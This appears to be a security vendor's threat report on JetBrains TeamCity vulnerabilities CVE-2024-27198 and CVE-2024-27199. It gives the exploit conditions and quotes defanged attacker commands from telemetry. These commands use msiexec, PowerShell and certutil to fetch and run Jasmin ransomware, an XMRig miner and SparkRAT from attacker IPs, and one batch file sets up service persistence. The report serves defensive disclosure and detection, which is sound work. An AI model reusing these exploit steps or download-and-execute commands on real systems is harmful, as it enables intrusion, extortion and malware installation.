To exploit CVE-2024-27198, an attacker must meet the following conditions:

• Generate an unauthenticated 404 HTTP Response.
• Pass the HTTP query string “?jsp=/app/rest/server”.
• Append “;.jsp” to the HTTP path parameter.

CVE-2024-27199: JetBrains TeamCity directory traversal vulnerability

CVE-2024-27199 is a directory traversal vulnerability (CWE-22) in the web component of TeamCity with a High CVSS score of 7.3 that can lead to authentication bypass. An attacker can leverage this vulnerability to leak sensitive information and modify a limited number of TeamCity system settings.

Several TeamCity paths are vulnerable to a directory traversal, including:

• /res/
• /update/
• /.well-known/acme-challenge/

Post-Exploitation payloads

Within the same timeframe of the disclosure TeamCity vulnerabilities, several proofs of concept were also made publicly available. Upon their publication, we observed instances of threat actors exploiting this vulnerability.

Threat actors might exploit CVE-2024-27198 or CVE-2024-27199 to bypass authentication on vulnerable On-Premise TeamCity servers and perform follow-on commands. They are then able to perform RCE and TeamCity-related processes, such as spawning a command and scripting interpreter (including PowerShell) to download additional malware or perform discovery commands. The attackers are then able to install malware that can reach out to its command-and-control (C&C) server and perform additional commands such as deploying Cobalt Strike beacons and remote access trojans (RATs). Ransomware can then be installed as a final payload to encrypt files and demand ransom payments from victims.

Exploits that drop Jasmin ransomware

One of the earliest threat actors that we found exploiting these vulnerabilities deployed a variant of the open-source Jasmin ransomware during the post-exploitation phase.

We observed the following process tree via our telemetry:

Parent Process:
C:TeamCityjrebinjava.exe
Subject Process:
C:WindowsSystem32cmd.exe /c “msiexec /q /i hxxp://207[.]246[.]102[.]242:56641/ABC[.]msi”

This process will download an MSI file (SHA256: 56942b36d5990f66a81955a94511298fd27cb6092e467110a7995a0654f17b1a) that will drop and execute a PE file (SHA256: 32a630decb8fcc8a7ed4811f4293b9d5a242ce7865ab10c19a16fc4aa384bf64).

The ransomware has the ability to rename files with the extension .lsoc and drop a ransom note with the file name un-lock your files.html.

Upon checking the ransom note’s source code, we discovered that it was obfuscated and used JavaScript to generate the ransom note text, likely to evade detection from security products and ensure that victims will see and read the ransom note file.

Deploying the XMRig cryptocurrency miner

We also found threat actors that were deploying a variant of the open-source XMRig cryptocurrency-mining malware to vulnerable TeamCity servers. Similar cryptominers were also be deployed in January 2024 after Ivanti Connect Secure VPN exploitation activities. The following is the cryptominer installation as seen from our telemetry:

Parent Process:

C:TeamCityjrebinjava.exe

Subject Process:

C:WindowsSystem32cmd.exe /c “msiexec /q /i hxxp://146[.]70[.]149[.]185:58090/JavaAccessBridge-64.msi”

The downloaded MSI file (SHA256: 7cbe0c55b3ca5d12be640e519e4399469399b3eaada20705342fa681befe8c7b) will drop, decrypt, and execute the main XMRIG file named JavaAccessBridge-64.exe (SHA256: 01db4578f5fb7b29800f7b07a31fda7ff812309f62f7148fca0e246279f6ca61) alongside its two component files named config.json and WinRing0x64.sys on the C:UsersPublicVideos directory.

The malware uses the vulnerable driver WinRing0x64.sys to access the model-specific register (MSR) to perform its mining routines when other methods fail.

The miner is configured to run using the following config file (saved in the config.json file):

This miner was installed using multiple stages of batch files and living-off-the-land binary (LOLBin) tools such as certutil.exe. Figure 11 shows the process tree and the executed commands as seen from Trend Micro Vision One™ telemetry. 

Deploying the SparkRAT backdoor

Meanwhile, another threat actor deployed a variant of the open-source Golang-based SparkRAT backdoor. We observed the executable binary java.exe under the TeamCity directory deploying a PowerShell command to download and execute a batch file named win.bat:

Parent Process:

C:TeamCityjrebinjava.exe

Subject Process:

C:WindowsSystem32cmd.exe /c “powershell -ep bypass IEX (New-Object System.Net.Webclient).DownloadFile(‘hxxp://38[.]54[.]94[.]13:8080/win.bat’,’c:userspublicwin.bat’);start-process ‘c:userspublicwin.bat'”

The contents of the downloaded win.bat file are as follows:

@echo off
cmd /c certutil -urlcache -split -f hxxp://38[.]54[.]94[.]13:8080/86.dat c:userspublicpublic.dat
cmd /c start /b c:userspublicpublic.dat
sc create windowDefenSrv binPath= “cmd /c start /b c:userspublicpublic.dat windowDefenSrv” start= auto
del c:userspublicwin.bat

This batch file will download and execute the SparkRAT malware (SHA256: 908b30abf730a5b51a3d25965eff45a639e881a97505220a38591fe326e00697) by abusing certutil, after which it will delete the original win.bat. The C&C server of this piece of malware is 38[.]54[.]94[.]13.

Figure 12 shows a snippet of the SparkRAT functions that were found inside the downloaded backdoor and are consistent with the code from the open-source repository https://github.com/XZB-1248/Spark.

Similar to the cryptocurrency miner installation, the threat actors deploying SparkRAT also used a variety of batch files and LOLBins to perform a multistage attack. Figure 13 shows the process tree and the executed commands as seen from the Trend Vision One XDR telemetry.

MITRE ATT&CK Matrix

Indicators of Compromise

The indicators of compromise for this entry can be found here.